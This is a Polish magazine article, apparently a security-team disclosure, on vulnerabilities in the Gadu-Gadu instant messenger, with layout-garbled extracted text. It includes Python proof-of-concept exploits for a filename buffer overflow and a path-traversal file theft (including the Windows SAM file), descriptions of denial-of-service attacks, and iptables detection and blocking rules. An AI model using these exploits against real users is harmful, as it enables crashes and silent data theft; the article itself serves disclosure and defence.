bezpieczeństwo
28
styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
29
www.lpmagazine.org
Analiza
bezpieczeństwa
komunikatora
internetowego
z wykorzystaniem platformy Linux
Błażej Miga, Jarosław Sajko
M
ożna zaryzykować tezę, że
u boku poczty elektronicz-
nej, panującej od wielu lat
w królestwie usług komu-
nikacji internetowej, wyrósł jej w ciągu
ostatnich lat nie mniej potężny i niewie-
le mniej popularny książę – komunika-
tor internetowy (ang. instant messenger).
Zagościł on nie tylko w domostwach zwy-
kłych ludzi, ale również w małych, więk-
szych i największych korporacjach i insty-
tucjach administracji publicznej, stając
się tym samym narzędziem komunikacji
o wszechstronnym zastosowaniu. Pakiety
komunikatorów niosą informacje różnej
kategorii, począwszy od plotek i uzgod-
nień co do miejsca wieczornego spotkania,
a skończywszy na mniej jawnych infor-
macjach, np. szczegółach umowy handlo-
wej czy też danych dostępowych. Jestem
przekonany, ze niejeden administrator
sieci próbował walczyć z komunikatora-
mi do czasu, gdy okazało się, że są one
niemal tak potrzebne w pracy, jak telefony.
Teraz te walki mogą mieć jedynie charak-
ter ambicjonalny, ponieważ faktem stało
się, że komunikator stał się tak niezbęd-
ny, jak email.
Z tego powodu nasze przekonanie,
że bezpieczeństwo aplikacji komunikato-
ra internetowego jest nie mniej krytycz-
ne dla bezpieczeństwa całej infrastruk-
tury niż bezpieczeństwo przeglądania
stron WWW, systemu poczty elektronicz-
nej czy też fakt istnienia poprawnie skon-
figurowanego systemu zapory sieciowej.
Postanowiliśmy przyjrzeć się, jak wyglą-
da poziom bezpieczeństwa naszych rodzi-
mych komunikatorów. Trudno nie zgo-
dzić z faktem, że jednym z najbardziej
popularnych jest Gadu-Gadu. To on wła-
śnie stał się tym, który poszedł na pierw-
szy ogień. To właśnie na jego przykła-
dzie postaramy się zaprezentować meto-
dykę analizy tego typu aplikacji, miejsca,
gdzie mogą pojawić się słabe punkty oraz
pokazać przykładowe narzędzia do testów
penetracyjnych.
Platformą, na której będą uruchamia-
ne wszystkie narzędzia oraz kody testu-
jące podatności, będzie Linux, ponieważ
system ten doskonale sprawdza się jako
system do przeprowadzania testów pene-
tracyjnych. Podczas prezentowania kon-
kretnych błędów bezpieczeństwa będą
wyszczególniane dwie wersje klienta dla
systemu Windows, tzn. wersja 6 build 154
oraz wersja 7 build 20 – dla nich będą pre-
zentowane kody proof-of-concept napisane
w Pythonie.
Potencjalne problemy
W grudniu 2004 roku Zespół Bezpieczeństwa
PCSS publikował informacje o podatno-
ściach na pewne klasy ataków występują-
cych w aplikacjach klienckich Gadu-Gadu,
Tlen.PL oraz WPKontakt. Dwie z nich
były związane ze schematem komuni-
kacji i protokołem wykorzystywanym
przez GG. Właśnie je postaramy się teraz
opisać. W zasadzie mogłyby to być przy-
kłady tego, jak nie należy projektować
protokołu i jak nie należy implementować
jego obsługi.
Krytyczne dla bezpieczeństwa aplika-
cji jest to, w jaki sposób aplikacja ta obcho-
DVD
Po uruchomieniu Linux+ Live
DVD można skorzystać z kilku
komunikatorów internetowych,
w tym Kadu.
Na płycie DVD
Na płycie DVD znajdują się kody
proof-of-concept dla większości
prezentowanych błędów
bezpieczeństwa.
O autorach
Autorzy to pracownicy Zespołu
Bezpieczeństwa Poznańskiego
Centrum Superkomputerowo–
Sieciowego, który zajmuje
się m.in. administracją
systemów bezpieczeństwa
teleinformatycznego,
audytami bezpieczeństwa,
testami penetracyjnymi oraz
analizą kodów.
bezpieczeństwo
28
styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
29
www.lpmagazine.org
Analiza
bezpieczeństwa
komunikatora
internetowego
z wykorzystaniem platformy Linux
dzi się z danymi dostarczonymi do niej
z zewnątrz, a w szczególności przez użyt-
kownika, który może mieć nieczyste intencje.
Żelazną regułą przy operacjach na danych
dostarczanych przez użytkownika do pro-
gramu jest brak zaufania do tych danych i w
związku z tym dokładne i ostrożne spraw-
dzenie ich pod kątem poprawności przed
ich przetworzeniem. Pogwałcenie tej reguły
może skutkować tym, że program napisany
w celu wykonywania konkretnych czynno-
ści będzie mógł posłużyć komuś do wyko-
nania zupełnie innych czynności, nie prze-
widzianych specyfikacją.
Takie zdarzenie miało miejsce w przy-
padku błędu związanego z przesyła-
niem obrazków w GG w wielu wersjach.
Dołączony do artykułu kod proof-of-con-
cept będzie miał zastosowanie dla wersji 6
build 154 oraz 7 build 20, ale z pewnością
można go ulepszyć tak, aby można go było
zastosować dla innych wersji, do czego
gorąco zachęcam.
Jak wiadomo, poza czystymi wiado-
mościami tekstowymi, można komuś w
tekście wysłać obrazek. Jak to się odbywa?
Najpierw wysyłana jest struktura z infor-
macją o tym, że tekst będzie zawierał obra-
zek. Obrazek identyfikowany jest przez roz-
miar i sumę kontrolną. Jeżeli nasz rozmów-
ca nie ma obrazka o takiej samej sumie kon-
trolnej i rozmiarze, czyli nie ma jeszcze na
dysku obrazka, który chcemy wyświetlić
w jego okienku komunikatora, to wysyła
nam prośbę o dosłanie mu tego obrazka.
Dosyłamy go wraz ze standardową struk-
turą, która go opisuje. Zawiera ona rów-
nież nazwę obrazka, która jest źródłem pro-
blemów:
• W wersji 6 build 154 i prawdopodob-
nie starszych nazwa pliku jest kopio-
wana do bufora bez sprawdzania jej
długości, a bufor do której jest kopio-
wana, jest obszarem o stałej wielko-
ści, alokowanym najpierw na ster-
cie, a następnie na stosie. Prowadzi
to do przepełnienia bufora, zarów-
no na stercie, jak i na stosie, co z kolei
można wykorzystać do wykonania
kodu atakującego na komputerze
ofiary.
• W wersji 7 build 20 i prawdopodobnie
starszych długość nazwy pliku jest co
prawda sprawdzana (tzn. czy jest ona
mniejsza niż 200 znaków i takiej też
stałej wielkości jest bufor alokowany
na stosie), ale do tego bufora kopio-
wana jest nazwa pliku doklejona naj-
pierw do nazwy katalogu imgcache\,
a więc w brzegowym przypadku
łańcuch znaków o 9 bajtów przekra-
cza swoją długością zaalokowany dla
niego bufor. Konsekwencje tego prze-
pełnienia w wersji 7 są zdecydowanie
mniej groźne, gdyż aplikacja zosta-
ła skompilowana z ochroną stosu
(StackGuard).
• W wersjach 7 oraz 6 i prawdopodob-
nie wszystkich wcześniejszych nazwa
pliku, która jest ustalana przez osobę
wysyłająca obrazek, nie jest spraw-
dzana pod kątem zawartości nazw
urządzeń specjalnych, tzn. możemy
nazwać plik z obrazkiem tak, jak
urządzenie specjalne, czyli np. AUX,
LPT1, COM1 itd... Można tę podat-
ność wykorzystać do wykonania ope-
racji czytania bądź pisania do takiego
urządzenia, co w najlepszym przypad-
ku zablokuje klienta GG.
• W wersjach z rodziny 6 nazwa pliku
nie jest sprawdzana pod kątem
zawartości prawie wcale, więc mo-
żemy w nazwie plików użyć tagów
HTML czy też referencji \..\, co w efe-
kcie może prowadzić do wykona-
nia kodu atakującego na kompute-
rze ofiary.
Rysynek 1.
Klient A nawiązuje połączenie
bezpośrednie z pominięciem serwera
komunikacyjnego
Rysunek 2.
Klient A wysyła komunikat
do klienta B za pośrednictwem serwera
komunikacyjnego z żądaniem nawiązania
połączenia, a klient B w odpowiedzi
nawiązuje połączenie
W przypadku, gdy chcemy wysłać komu-
nikat tekstowy do użytkownika o zadanym
numerze, nasza aplikacja kliencka wysyła
komunikat do serwera komunikacyjnego.
Po przepakowaniu do innej struktury, treść
komunikatu wysyłana jest do odbiorcy. W
tym przypadku mamy komunikację z uży-
ciem centralnego serwera. Opcjonalne w
tym schemacie jest potwierdzenie odbio-
ru nadawane przez odbiorcę po otrzyma-
niu komunikatu.
Aby nawiązać połączenie bezpo-
średnie, komunikator musi znać adres,
z którym ma się połączyć (jest on wysy-
łany do serwera komunikacyjnego pod-
czas logowania). Oczywiście, nie zawsze
nawiązanie bezpośredniego połączenia
jest możliwe, np. w sytuacji, gdy czyjś kom-
puter jest za NAT. W takiej sytuacji mamy
dwa rozwiązania:
• użytkownik może podczas logowa-
nia podać adres zewnętrzny, np. adres
bramy do Internetu, poprzez który będzie
można z nim nawiązywać połączenia
z zewnątrz;
• innym sposobem jest skorzystanie
z możliwości poproszenia drugiego
użytkownika o nawiązanie połączenia
z adresem przez nas podanym, tzn.
za pomocą specjalnego pakietu prze-
słanego do użytkownika przez serwer
komunikacyjny wywołać po stronie
odbiorcy procedurę nawiązywania po-
łączenia zwrotnego z adresem poda-
nym przez nas podczas logowania się
do systemu. Tym specjalnym pakietem
jest pakiet CTCP z pierwszym bajtem
danych o wartości 1.
Jak widać, mamy tutaj w ogólności dwa
schematy komunikacji: jeden to opisany
wcześniej schemat z centralnym serwe-
rem, a drugi to schemat połączeń bezpo-
średnich, które są realizowane z pominię-
ciem serwera komunikacyjnego, z tym, że
ich inicjalizacja może wymagać serwera
komunikacyjnego.
Serwer Komunikacyjny
Klient A
Klient B
Klient A
Klient B
Serwer Komunikacyjny
Schematy komunikacji w Gadu-Gadu
bezpieczeństwo
30
styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
31
www.lpmagazine.org
#!/usr/bin/python
import
socket
import
struct
import
sys
from
select
import
select
from
random
import
randint
GG_VERSION
=
"
\x
26
\x
00
\x
00
\x
c2"
GG_LOGIN
=
0x15
;
GG_MSG
=
0x0b
GG_NOTIFY
=
0x0f
GG_NOTIFY_LAST
=
0x10
;
NUL
= "
\x00
"
def
ip2b(ip)
:
s
=
""
for
o
in
ip
.
split
(
"."
):
s
+=
chr
(
int
(
o
))
return
s
def
compute_hash
(
password
,
seed
):
y =
long(seed)
; x =
long
(
0
) ; z =
long
(
0
)
for
i in
range
(0,
len
(password)):
x
=
(
x
&
0xffffff00L
)
|
ord
(
password
[
i
:
i
+
1
])
y = (y^x)&
0xffffffffL
; y = (y+x)&
0xffffffffL
x
=
(
x
<<
8
)&
0xffffffffL
;
y
=
(
y
^
x
)&
0xffffffffL
x = (x<<
8
)&
0xffffffffL
; y = (y-x)&
0xffffffffL
x
=
(
x
<<
8
)&
0xffffffffL
;
y
=
(
y
^
x
)&
0xffffffffL
z = (y &
0x1f
)&
0xffffffffL
y
=
((
y
<<
z
)
|
(
y
>>
(
32
-
z
))&
0xffffffffL
)
return
int
((
y
&
0xffffffffL
))
class
GGConnection
:
def
send
(
self
,
ptype
,
pcontent
):
self
.
sck
.
send
(
struct
.
pack
(
"II"
,
ptype
,
len
(
pcontent
)))
self
.
sck
.
send
(
pcontent
)
def
recv
(
self
):
ptype
,
plen
=
struct
.
unpack
(
"II"
,
self
.
sck
.
recv
(
8
))
pcontent
=
self
.
sck
.
recv
(
plen
)
return
ptype
,
pcontent
def
poll
(
self
,
timeout
=
0
):
ready
=
select
([
self
.
sck
]
,
[]
,
[]
,
timeout
)
if
ready
[
0
]
==
[]:
return
0
return
1
def
createLoginStruct
(
self
,
seed
,
status
,
S
myIP
,
dccIP
,
dccPort
):
passhash
=
compute_hash
(
self
.
password
,
seed
)
buff
=
struct
.
pack
(
"III"
,
self
.
uin
,
passhash
,
status
)
buff
+=
GG_VERSION
;
buff += NUL
buff
+=
ip2b(myIP)
# dcc data
buff
+=
struct
.
pack
(
"H"
,
dccPort
)
if
myIP
!=
dccIP
:
buff
+=
ip2b(dccIP)
;
buff
+=
struct.pack
(
"H"
,
dccPort
)
else
:
buff
+=
6
*
NUL
# image size in kilos, unknown
buff
+=
struct
.
pack
(
"BB"
,
100
,
190
)
return
buff
def
__init__
(
self
,
uin
,
password
):
self
.
uin
=
uin
;
self
.
password
=
password
;
self
.
seq
=
0
def
login
(
self
,
buff
):
self.send
(
GG_LOGIN, buff
)
if
self
.
recv
()[
0
]
==
3
:
return
1
else
:
return
0
def
connect
(
self
,
dccIP
,
dccPort
,
status
=
2
):
myIP
=
socket
.
gethostbyname
(
socket
.
gethostname
())
ipAddress
= "
217.17.41.85
" ;
tcpPort
=
443
servAddress
=
(
ipAddress
,
int
(
tcpPort
))
self
.
sck
=
socket
.
socket
(
socket
.
AF_INET
,
S
socket
.
SOCK_STREAM
)
self
.
sck
.
connect
(
servAddress
)
self
.
sck
.
settimeout
(
60
)
"[GG] Connected!"
seed
=
struct
.
unpack
(
"I"
,
self
.
recv
()[
1
])[
0
]
buff
=
self
.
createLoginStruct
(
seed
,
status
,
S
myIP
,
dccIP
,
dccPort
)
if
self
.
login
(
buff
):
"[GG] Logged in."
else
:
"[GG] Login Failed."
def
disconnect
(
self
):
"[GG] Disconnected."
self
.
sck
.
close
()
def
sendImage
(
self
,
uin
,
imageSize
,
imageContent
):
imageChecksum
=
struct
.
pack
(
"i"
,
(
randint
S
(-
sys
.
maxint
,
sys
.
maxint
)))
img
= "
\x09\x01
" ;
img
+=
struct.pack
(
"i"
,
imageSize
)
img
+=
imageChecksum
;
rich
=
"
\x
00
\x
00
\x
80"
rich
+=
img
buff
=
struct
.
pack
(
"iii"
,
int
(
uin
)
,
self
.
seq
,
0x28
)
buff
+=
struct
.
pack
(
"bb"
,
0
,
2
)
buff
+=
struct
.
pack
(
"h"
,
len
(
rich
))
;
buff
+=
rich
self.send(GG_MSG, buff)
;
self.seq
+=
1
imageReply
=
struct
.
pack
(
"bb"
,
0
,
5
)
imageReply
+=
struct
.
pack
(
"i"
,
imageSize
)
imageReply
+=
imageChecksum
imageReply
+=
imageContent
buff
=
struct
.
pack
(
"iii"
,
int
(
uin
)
,
0
,
4
)
buff
+=
imageReply
self
.
send
(
GG_MSG
,
buff
)
if
__name__
==
"__main__"
:
if
len
(
sys
.
argv
)
<
4
:
"usage: cmd <your uin> <your password>
S
<victim's uin>"
sys
.
exit
()
myUin
=
int
(
sys
.
argv
[
1
])
;
myPass
=
sys
.
argv
[
2
]
victimsUin
=
int
(
sys.argv
[
3
])
imageName
=
199
*
"A"
+
"
\x
00"
imageContent
=
"ABCDEFGHIJ"
g
=
GGConnection
(
myUin
,
myPass
)
g
.
connect
(
"0.0.0.0"
,
0
,
0x14
)
g
.
sendImage
(
victimsUin
,
len
(
imageContent
)
,
S
imageName
+
imageContent
)
"[Main] Payload has sent"
g
.
disconnect
()
;
sys
.
exit
()
Listing 1.
Kod proof-of-concept dla przepełnienia bufora nazwy obrazka przesyłanego w ramach rozmowy (dla wersji klienta 7 build 20).
bezpieczeństwo
30
styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
31
www.lpmagazine.org
Jest to tylko jeden z elementów przesyła-
nej struktury, a jak widać, może przyspo-
rzyć wielu problemów związanych z bez-
pieczeństwem. Prawie we wszystkich wer-
sjach aplikacji, również w ostatniej (na
dzień pisania artykułu), występują pro-
blemy z nazwą pliku, która tak naprawdę
nie jest potrzebna. Wystarczy, że nadawca
określi treść, a nazwę, pod jaką plik z gra-
fiką jest zapisywany w cache'u, może usta-
lać odbiorca.
Na Listingu 1 znajduje się ilustracja
dla błędu związanego z przepełnieniem
bufora. Jest to kod działający dla wersji
7 build 20 klienta GG dla Windows oraz
prawdopodobnie starszych. Listing ten,
poza funkcją main, która z punktu widze-
nia tego proof-of-concept jest najważniej-
sza, zawiera również klasę GGConnection,
która realizuje połączenie z serwerem
komunikacyjnym i autoryzację. Będzie
ona wykorzystywana we wszystkich przy-
kładach. Jej metoda connect jest odpowie-
dzialna za przeprowadzenie procedury
autoryzacji użytkownika w systemie, jak
również korzysta pośrednio z funkcji com-
pute_hash, która jest z kolei odpowiedzial-
na za obliczenie skrótu hasła na podstawie
otrzymanej wartości seed. Przy połączeniu
pomijany jest krok z łączeniem się z ser-
werem WWW i pobieraniem adresu ser-
wera komunikacyjnego, więc może zda-
rzyć się tak, że będzie konieczna ręczna
zmiana adresu zapisanego w ciele metody.
W kodzie w main nawiązujemy połączenie
z serwerem, podając swoje dane dostępo-
we oraz status 0x14, co oznacza, że naszym
początkowym statusem ma być “niewi-
dzialny”. Następnie wysyłamy do komu-
nikatora, który testujemy, pakiet z obraz-
kiem. To on, a dokładniej zawarta w nim
nazwa, powoduje przepełnienie bufora
w testowanym komunikatorze.
Innym miejscem, któremu postanowi-
liśmy się przyjrzeć, były połączenia bez-
pośrednie. Gadu-Gadu, jak również inne
komunikatory, wykorzystuje je np. do
przesyłania plików pomiędzy użytkow-
nikami. W przypadku GG okazało się,
że obsługa tych połączeń zawiera kilka
podatności godnych uwagi.
Pierwsza i być może najciekawsza
występowała w wersjach 6 build 154
i wcześniejszych. Zaprogramowana jest
w nich funkcjonalność służąca do przesy-
łania plików z katalogu _cache (najczęściej
znajdują się tam pliki z bannerami) jed-
nego komunikatora do drugiego z wyko-
rzystaniem bezpośredniego połączenia
Listing 2.
Przykład wykorzystania podatności związanej z przesyłaniem plików przez
połączenia bezpośrednie (dla wersji 6 build 154)
#
!
/
usr
/
bin
/
python
...
def
b2i
(
bts
):
return
((
1
*
ord
(
bts
[
0
]))+(
256
*
ord
(
bts
[
1
]))+(
65536
*
ord
(
bts
[
2
]))
S
+(
16777216
*
ord
(
bts
[
3
])))
def
runServer
(
servaddress
,
filename
):
try
:
"[DCC Server] Server started"
output
=
filename
.
split
(
"
\\
"
)[-
1
]
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
bind
(
servaddress
)
;
s
.
listen
(
1
) ;
(
conn
,
address
)
=
s
.
accept
()
conn
.
settimeout
(
5.0
)
"[DCC Server] Connection accepted"
tmp
=
conn
.
recv
(
4
)
;
tmp
=
conn
.
recv
(
4
)
conn.send
(
"UDAG"
) ;
tmp
=
conn.recv
(
4
)
"[DCC Server] Authorization OK"
fname
=
"
\x
01"
+
filename
+
"
\x
00"
buff
=
"
\x
04
\x
00
\x
00
\x
00"
buff
+=
struct
.
pack
(
“
I
”,
len
(
fname
))
buff
+=
fname ; conn
.
send
(
buff
)
;
conn
.
recv
(
8
)
conn
.
recv
(
1
+
len
(
filename
)) ;
conn
.
recv
(
4
)
length
=
b2i
(
conn
.
recv
(
4
))
-
len
(
filename
)
-
2
"[DCC Server] File length: %d"
%
length
conn
.
recv
(
2
+
len
(
filename
)) ;
f
=
file
(
output
,
"wb+"
)
while
length
>
0
:
if
length
>
4096
:
buff
=
conn
.
recv
(
4096
)
elif
length
<=
4096
:
buff
=
conn
.
recv
(
length
)
f
.
write
(
buff
)
length
=
length
-
len
(
buff
)
"[DCC Server] File written"
conn.close
() ;
f.close
()
except
:
"[DCC Server] No such file or not exploitable"
if
__name__
==
"__main__"
:
myIP
=
socket
.
gethostbyname
(
socket
.
gethostname
())
myPort
=
443
if
len
(
sys
.
argv
)
<
5
:
"usage: cmd <your uin> <your password> <victim's uin> <filename>"
sys
.
exit
()
myUin
=
int
(
sys.argv
[
1
]) ;
myPass = sys.argv
[
2
]
victimsUin
=
int
(
sys
.
argv
[
3
])
fname
=
sys
.
argv
[
4
]
serverThread
=
Thread
(
None
,
runServer
,
S
"ServerThread"
,
((
myIP
,
myPort
)
,
fname
)
,
{}
)
serverThread
.
start
()
g
=
gg
.
GGConnection
(
myUin
,
myPass
)
g
.
connect
(
myIP
,
myPort
)
g
.
sendNotify
([
victimsUin
])
g
.
sendCtcp
(
victimsUin
,
1
)
serverThread
.
join
()
g
.
disconnect
()
bezpieczeństwo
32
styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
33
www.lpmagazine.org
ne miejsce zawiera klasę i funkcje pomoc-
nicze, tak jak na Listingu 1. W tym przy-
padku wykorzystujemy połączenia bez-
pośrednie, więc podczas logowania poda-
jemy adres dla takich połączeń, jak rów-
nież uruchamiamy wątek serwera (jest
on odpowiedzialny za przyjęcie nadcho-
dzącego połączenia oraz wysłanie żądania
nadesłania pliku).
W wersjach 7, 6 oraz najprawdopo-
dobniej we wszystkich innych proto-
kół używany do połączeń bezpośred-
nich przesyła dane w nienumerowanych
pakietach. Ponadto, reaguje on na żąda-
nia protokołu w większości przypadków
bez dodatkowych warunków wewnętrz-
nych. W związku z tym możliwe jest
wysłanie pakietu z kodem błędu informu-
jącym np. o tym, że użytkownik nie chce
odebrać pliku, podczas gdy żaden plik nie
był wysyłany. Co więcej, w komunikacie
takim nie będzie zawarta informacja, który
użytkownik nie chce odebrać tego pliku.
Wysyłając ciągle ten sam pakiet można
wymusić wielokrotne wyświetlanie takie-
go i tak nie prawdziwego komunikatu, co
tworzy podatność na atak na dostępność.
Rozwiązaniem tego problemu byłoby
z pewnością przechowywanie wewnętrz-
nie stanu nawiązanych połączeń.
Innym przykładem programistycz-
nego błędu jest sytuacja, która dotyczy
obsługi niektórych żądań przesyłanych za
pomocą połączeń bezpośrednich. Są one
w nowej wersji (rodzina wersji 7) obsłu-
giwane w taki sposób, że możliwe jest
zaalokowanie pamięci bez wykonania ob-
sługi żądania, co z kolei prowadzi czasem
do takich sytuacji:
• wysyłamy do ofiary żądanie nawiązania
połączenia zwrotnego z adresem poda-
nym przez nas podczas logowania;
• tym nawiązanym przez klienta ofiary
połączeniem bezpośrednim wysyła-
my żądanie o kodzie np. 3, z informa-
cją, jak dużą porcję pamięci klient ma
zaalokować (wielkość ta musi być nie
większa niż 64kB);
• wysyłamy te 64kB danych i przecho-
dzimy do kroku drugiego.
Jest to algorytm wykorzystujący podat-
ność na atak na dostępność aplikacji.
W dosyć krótkim czasie jesteśmy w stanie
wymusić zaalokowanie dużej ilości pamię-
ci przez klienta GG naszego rozmówcy.
Błędów związanych z obsługą połą-
czeń bezpośrednich jest jeszcze kilka, ale
Listing 3.
Konfiguracja zapory sieciowej do zabezpieczania przed połączeniami
nawiązywanymi z zewnątrz
# Wyczyszczenie wszystkich tablic iptables
iptables
-F
iptables
-F -t nat
# Domyślne zblokowanie całego ruchu
iptables
-P
INPUT DROP
iptables
-P
OUTPUT DROP
iptables
-P
FORWARD DROP
# Zezwolenie na ruch, który odbywa się w ramach utworzonych połączeń
iptables
–A
FORWARD
–j
ACCEPT
–m state –-state
ESTABLISHED
iptables
–A
FORWARD
–j
ACCEPT
–m state –-state
RELATED
iptables
–A
INPUT
–j
ACCEPT
–m state –-state
ESTABLISHED
iptables
–A
INPUT
–j
ACCEPT
–m state –-state
RELATED
iptables
–A
OUTPUT
–j
ACCEPT
–m state –-state
ESTABLISHED
iptables
–A
OUTPUT
–j
ACCEPT
–m state –-state
RELATED
# Zezwolenie na tworzenie połączeń z sieci lokalnej
iptables
–A
FORWARD
–o ppp0 –j
ACCEPT
–m state –-state
NEW
iptables
–A
OUTPUT
–o ppp0 –j
ACCEPT
–m state –-state
NEW
# Maskarada dla wszystkich hostów z sieci lokalnej
iptables
-t nat -A
POSTROUTING
-p all -s 10.0.0.0/24 -j
MASQUERADE
Listing 4.
Regułki IPTables wykrywające łączenie się klientów Gadu-Gadu z sieci lokalnej
iptables
–A
FORWARD
–p tcp \! –f –m iprange –-dst-range 217.17.41.80-
S
217.17.41.95 –m mport –-ports 8074,443 –m connbytes –-connbytes
S
0:255 –m state
ESTABLISHED
–m length –-length 46:375 –m u32 –-u32
S
“0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG –-log-prefix
S
“GG LOGIN: “ –-log-level debug
iptables
–A
FORWARD
–p tcp \! –f –m iprange –-dst-range 217.17.46.248-
S
217.17.46.255 –m mport –-ports 8074,443 –m connbytes –-connbytes
S
0:255 –m state
ESTABLISHED
–m length –-length 46:375 –m u32 –-u32
S
“0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG –-log-prefix
S
“GG LOGIN: “ –-log-level debug
iptables
–A
FORWARD
–p tcp \! –f –m iprange –-dst-range 217.17.45.128-
S
217.17.45.159 –m mport –-ports 8074,443 –m connbytes –-connbytes
S
0:255 –m state
ESTABLISHED
–m length –-length 46:375 –m u32
S
–-u32 “0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG
S
–-log-prefix “GG LOGIN: “ –-log-level debug
pomiędzy nimi. Całość przebiega mniej
więcej w następujący sposób:
• Komunikator nawiązuje połączenie bez-
pośrednie z osobą ze swojej listy kon-
taktów. Osoba, z którą jest nawiązywa-
ne połączenie, musi mieć nas na swojej
liście kontaktów. Połączenie nawiązy-
wane jest według schematów z ramki
Schematy komunikacji w Gadu-Gadu,
a więc możliwe jest nawiązanie połącze-
nia z osobą znajdującą się za NAT-em.
• Po przeprowadzeniu procedury auto-
ryzacyjnej strona inicjalizująca połą-
czenie wysyła żądanie z nazwą pliku
i plik o takiej nazwie jest tym połą-
czeniem odsyłany do żądającego. Do-
kładniej rzecz ujmując, odsyłane jest 64
kB tego pliku.
I tym razem nie jest sprawdzane, co ta
nazwa pliku zawiera, więc może znaj-
dować się w niej ..\..\..\..., co daje nam
podatność
umożliwiającą
kradzież
danych. Dodatkowym problemem jest
tutaj to, że całość tej operacji odbywa się
bez informowania użytkownika, że takie
procesy zachodzą. Możemy bez problemu
pobrać plik z konfiguracją GG, listę kon-
taktów, czy też plik SAM z katalogu win-
dows. Ilustracja tej podatności znajduje się
na Listingu 2, na którym wykropkowa-
bezpieczeństwo
32
styczeń 2006
bezpieczeństwo
niebezpieczne gadu-gadu
33
www.lpmagazine.org
Komunikacja w połączeniach bezpo-
średnich realizowana jest na losowych
portach. W jaki sposób wyodrębnić odpo-
wiednie pakiety? Podczas tworzenia połą-
czenia bezpośredniego następuje prosta
autoryzacja użytkowników. Program
nadawcy wysyła do odbiorcy 8 bajtowy
pakiet z dwoma numerami użytkowni-
ków, swoim i odbiorcy. Odbiorca potwier-
dza nawiązanie połączenia 4 bajtowym
pakietem z słowem „UDAG”. Następnie
nadawca wysyła informacje o kierunku
przesyłki pliku. Dzięki blokadzie pakie-
tów zawierających słowo „UDAG” mamy
możliwość zablokowania tego typu ruchu:
iptables –A FORWARD –p tcp \! –f –m
connbytes –-connbytes 0:255 –m state
ESTABLISHED –m length –-length 46:375
–m u32 –-u32 “0>>22&0x3c@ 12>>26&0x3c@
0=0x55444147” –j DROP
Inna możliwością zablokowania połączeń
bezpośrednich jest wypuszczenie ruchu
tylko dla ściśle określonych usług np.
DNS, HTTP, POP3, SMTP, co przedsta-
wia Listing 5.
Podsumowanie
Komunikatory internetowe to świetne narzę-
dzie porozumiewania się. I jako takie po-
winny być poważnie traktowane w kwe-
stiach bezpieczeństwa przez ich dostaw-
ców. Dodatkowo, ważne, aby zwrócić na nie
baczniejszą uwagę, ponieważ widać obec-
nie trend zmierzający do tworzenia wersji
komunikatorów dla biznesu, zintegrowa-
nych często z pakietem biurowym. Myślę, że
pokazaliśmy nie tylko, na ile niebezpieczna
może być taka niepozorna aplikacja, ale też,
od których jej miejsc warto rozpocząć prze-
prowadzanie audytu. Również jak łatwo jest
napisać proste narzędzia, korzystając z dar-
mowego systemu oraz interpretera, testu-
jące poziom realnego zagrożenia podatno-
ści konkretnego komunikatora. Platforma
Linux oraz język Python dają nam świetne
możliwości w testowaniu protokołu aplika-
cji. Można w łatwy sposób pisać proste, ale
działające skrypty, z którymi będzie możli-
wość pracy interaktywnej, np. za pomocą
funkcji
input
w procedurze głównej skryp-
tu możemy tworzyć obiekty i wywoływać
ich metody w sposób podobny jak w powło-
ce. Przykład takiej procedury znajduje się na
Listingu 6. W ten sposób napisana procedu-
ra główna umożliwia nam ręczne tworzenie
połączenia z serwerem i ręczne wywoływa-
nie jego metod
recv
oraz
send
.
Listing 5.
Regułki IPTables pozwalające na korzystanie z określonych usług
iptables
–A
FORWARD
–o ppp0 –j
ACCEPT
–m state –-state
NEW
–p tcp
S
– mport –-dst-port 80,443,110,25,8074
iptables
–A
OUTPUT
–o ppp0 –j
ACCEPT
–m state –-state
NEW
–p tcp
S
– mport –-dst-port 80,443,110,25,8074
iptables
–A
FORWARD
–o ppp0 –j
ACCEPT
–m state –-state
NEW
–p udp
S
– mport –-dst-port 53
iptables
–A
OUTPUT
–o ppp0 –j
ACCEPT
–m state –-state
NEW
–p udp
S
– mport –-dst-port 53
Listing 6.
Przykład “procedury main”
umożliwiającej interaktywną pracę
#!/usr/bin/python
...
if
__name__
==
"__main__"
:
while
1
:
try
:
line
=
input
(
"? "
)
except
:
“
Error
!
”
sys
.
exit
(
0
)
217.17.46.255 oraz 217.17.45.128-217.17.45.
159. Na początku program próbuje wysy-
łać pakiety na port 8074. W przypad-
ku, gdy nie może utworzyć na nim połą-
czenia, próbuje łączyć się na port 443.
Serwery przetwarzają otrzymane komuni-
katy i przesyłają je do wybranych odbior-
ców. Podczas logowania do serwerów,
klient przekazuje informacje, na którym
porcie oczekuje na połączenia bezpośred-
nie DCC. Połączenia bezpośrednie umoż-
liwiają użytkownikom przesyłanie plików
i prowadzenie rozmów głosowych.
Bardzo często administratorzy dużych
sieci stają przed problemem, na jakim kom-
puterze jest zainstalowany komunikator.
Dodając prostą regułę, nasz filtr pakietów
będzie logował wszystkie próby autory-
zacji do serwerów Gadu-Gadu z kompu-
terów naszej sieci lokalnej. Skorzysta ona
z modułu u32, który daje możliwość porów-
nania dowolnych 4 bajtów pakietu (jest on
dostępny po instalacji łatki Netfiltera z sys-
temu Patch-O-Matic). Odpowiednie reguł-
ki znajdują się na Listingu 4. Wyszukujemy
przy ich pomocy połączeń do serwerów
komunikacyjnych Gadu-Gadu. Interesują
nas tylko początkowe 4 bajty pierwszego
pakietu takiego połączenia. W argumencie
modułu u32 sprawdzamy, czy pierwsze 4
bajty ciała pakietu są równe 0x15000000.
Liczba ta wskazuje na to, że przesyłanym
pakietem jest komunikat logujący użyt-
kownika do serwera Gadu-Gadu. W celu
uzyskania dodatkowych informacji (np.
numeru użytkownika, adresu i numeru
portu) musimy skorzystać ze sniffera siecio-
wego, np. Tethereal:
tethereal –i any …..
–w gg_login_packets.dump
. Takie wywoła-
nie programu pozwoli zapisywać w pliku
gg_login_packets.dump wszystkie pakiety
z informacją przesyłaną przez użytkowni-
ków do serwerów komunikacyjnych pod-
czas procesu logowania. Oprócz informa-
cji o numerze użytkownika, do serwera
przesyłana jest także informacja o nume-
rze wersji programu.
